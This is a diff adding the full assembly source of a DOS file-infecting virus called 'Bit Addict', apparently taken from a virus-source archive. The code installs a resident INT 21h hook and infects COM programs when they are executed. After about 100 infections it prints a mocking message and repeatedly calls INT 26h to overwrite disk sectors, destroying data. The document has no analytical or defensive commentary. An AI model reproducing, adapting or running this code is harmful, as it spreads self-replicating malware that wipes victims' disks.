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MSDOS/Virus.MSDOS.Unknown.addict4.asm

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+code segment
+	org	0
+
+	call	Virus
+
+Displacement	equ	$
+
+SavedCode	db	0cdh,020h,11 dup (090h)
+
+OldInt21	dd	0
+Count		db	0
+
+Jump		db	0e9h
+NearOfset	dw	0
+ID		db	'Bit Addict says: ',13,10
+		db	'"You have a good taste for hard disks, it was delicious!"'
+		db	'$'
+
+NewInt21:
+	cmp	ax,0ffffh
+	jne	Ok
+	cmp	dx,ax
+	jne	Ok
+	mov	ax,cs
+	iret
+Ok:	cmp	ah,4bh
+	je	Exec
+	jmp	EOI
+
+Exec:	cmp	cs:Count,100
+	jb	Infect
+
+	push	cs
+	pop	ds
+	mov	ah,9
+	lea	dx,ID
+	int	21h
+
+	xor	dx,dx
+	cli
+Repeat:	push	dx
+	mov	ax,2
+	xor	bx,bx
+	mov	cx,100
+	int	26h
+	pop	ax
+	pop	dx
+	add	dx,100
+	jmp	short Repeat
+
+Infect:	push	ax
+	push	bx
+	push	cx
+	push	si
+	push	di
+	push	ds
+	push	es
+	push	dx
+	mov	ax,04300h
+	int	21h
+	push	cx
+	mov	ax,04301h
+	xor	cx,cx
+	int	21h
+	mov	ax,03d02h
+	int	21h
+	jnc	OpenOk
+	jmp	Error
+OpenOk:	mov	bx,ax
+	mov	ax,05700h
+	int	21h
+	push	cx
+	push	dx
+	push	cs
+	pop	ds
+	push	cs
+	pop	es
+	mov	ah,3fh
+	mov	cx,13
+	lea	dx,SavedCode
+	int	21h
+	jc	Close2
+	lea	si,ID
+	lea	di,SavedCode[3]
+	mov	cx,10
+	cld
+	repe	cmpsb
+	je	Counter
+	cmp	word ptr SavedCode,5a4dh
+	je	Close2
+	mov	ax,04202h
+	xor	cx,cx
+	xor	dx,dx
+	int	21h
+	jc	Close
+	or	dx,dx
+	jne	Close
+	sub	ax,3
+	jb	Close
+	mov	NearOfset,ax
+	mov	Count,0
+	mov	ah,40h
+	mov	cx,CodeSize
+	xor	dx,dx
+	int	21h
+	jc	Close
+	mov	ax,4200h
+	xor	cx,cx
+	xor	dx,dx
+	int	21h
+	jc	Close
+	mov	ah,40h
+	mov	cx,13
+	lea	dx,Jump
+	int	21h
+Close2:	jmp	short Close
+Counter:mov	dx,word ptr SavedCode[1]
+	add	dx,offset Count+3
+	xor	cx,cx
+	mov	ax,4200h
+	int	21h
+	jc	Close
+	push	ax
+	push	dx
+	mov	ah,3fh
+	mov	cx,1
+	lea	dx,Count
+	int	21h
+	pop	cx
+	pop	dx
+	jc	Close
+	inc	Count
+	mov	ax,4200h
+	int	21h
+	jc	Close
+	mov	ah,40h
+	mov	cx,1
+	lea	dx,Count
+	int	21h
+Close:	pop	dx
+	pop	cx
+	mov	ax,05701h
+	int	21h
+	mov	ax,03e00h
+	int	21h
+Error:	pop	cx
+	pop	dx
+	pop	es
+	pop	ds
+	mov	ax,04301h
+	int	21h
+	pop	di
+	pop	si
+	pop	cx
+	pop	bx
+	pop	ax
+EOI:	jmp	cs:OldInt21
+
+Virus:	mov	ax,0ffffh
+	mov	dx,ax
+	int	21h
+	pop	bx
+	sub	bx,Displacement
+	mov	ds,ax
+	xor	si,si
+	mov	di,bx
+	mov	cx,CodeSize
+	rep	cmpsb
+	je	Exit
+	push	bx
+	mov	ah,52h
+	int	21h
+	push	es
+	push	bx
+	mov	ah,30h
+	int	21h
+	pop	si
+	pop	ds
+	pop	bx
+	cmp	al,2
+	jb	Exit
+	cmp	al,3
+	adc	si,12h
+	les	di,[si]
+	push	es
+	push	di
+	les	di,es:[di]
+	mov	[si],di
+	mov	[si+2],es
+	pop	ax
+	pop	dx
+	add	ax,0fh
+	mov	cl,4
+	shr	ax,cl
+	add	ax,dx
+	mov	es,ax
+	push	cs
+	pop	ds
+	mov	si,bx
+	xor	di,di
+	mov	cx,CodeSize
+	cld
+	rep	movsb
+	xor	ax,ax
+	mov	ds,ax
+	mov	ax,[84h]
+	mov	es:word ptr OldInt21[0],ax
+	mov	ax,[86h]
+	mov	es:word ptr OldInt21[2],ax
+	mov	word ptr [84h],NewInt21
+	mov	word ptr [86h],es
+Exit:	push	cs
+	pop	es
+	push	cs
+	pop	ds
+	lea	si,SavedCode[bx]
+	mov	di,0100h
+	push	di
+	mov	cx,13
+	rep	movsb
+	ret
+
+CodeSize	equ	$
+